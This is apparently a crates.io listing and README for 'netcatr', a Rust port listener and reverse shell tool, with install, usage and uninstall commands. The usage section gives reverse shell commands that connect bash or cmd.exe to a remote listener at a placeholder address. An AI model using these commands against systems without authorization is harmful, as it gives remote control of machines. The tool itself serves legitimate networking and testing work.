Crates.io | netcatr |
lib.rs | netcatr |
version | |
source | src |
created_at | 2024-10-26 13:58:24.303409+00 |
updated_at | 2025-04-04 17:12:44.610418+00 |
description | netcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity. |
homepage | https://trinhminhtriet.com |
repository | https://github.com/trinhminhtriet/netcatr |
max_upload_size | |
id | 1423880 |
Cargo.toml error: | TOML parse error at line 18, column 1 | 18 | autolib = false | ^^^^^^^ unknown field `autolib`, expected one of `name`, `version`, `edition`, `authors`, `description`, `readme`, `license`, `repository`, `homepage`, `documentation`, `build`, `resolver`, `links`, `default-run`, `default_dash_run`, `rust-version`, `rust_dash_version`, `rust_version`, `license-file`, `license_dash_file`, `license_file`, `licenseFile`, `license_capital_file`, `forced-target`, `forced_dash_target`, `autobins`, `autotests`, `autoexamples`, `autobenches`, `publish`, `metadata`, `keywords`, `categories`, `exclude`, `include` |
size | 0 |
_ _
_ __ ___ | |_ ___ __ _ | |_ _ __
| '_ \ / _ \| __| / __| / _` || __|| '__|
| | | || __/| |_ | (__ | (_| || |_ | |
|_| |_| \___| \__| \___| \__,_| \__||_|
📡 netcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.
To install netcatr, simply clone the repository and follow the instructions below:
git clone git@github.com:trinhminhtriet/netcatr.git
cd netcatr
cargo build --release
cp ./target/release/netcatr /usr/local/bin/
Running the below command will globally install the netcatr
binary.
cargo install netcatr
The most basic and useful example to start listening on a port would be (you can even run vim inside netcatr with this):
netcatr listen -ib 55600
and to connect:
netcatr connect -s bash the.0.0.ip 55600
Reverse shell from Windows:
netcatr connect -s cmd.exe the.0.0.ip 55600
Running the below command will globally uninstall the netcatr
binary.
cargo uninstall netcatr
Remove the project repo
rm -rf /path/to/git/clone/netcatr
We welcome contributions!
git checkout -b my-feature
;git commit -m "feat: my new feature"
;git push origin my-feature
.Once your pull request has been merged, you can delete your branch.
This project is licensed under the MIT License - see the LICENSE file for details.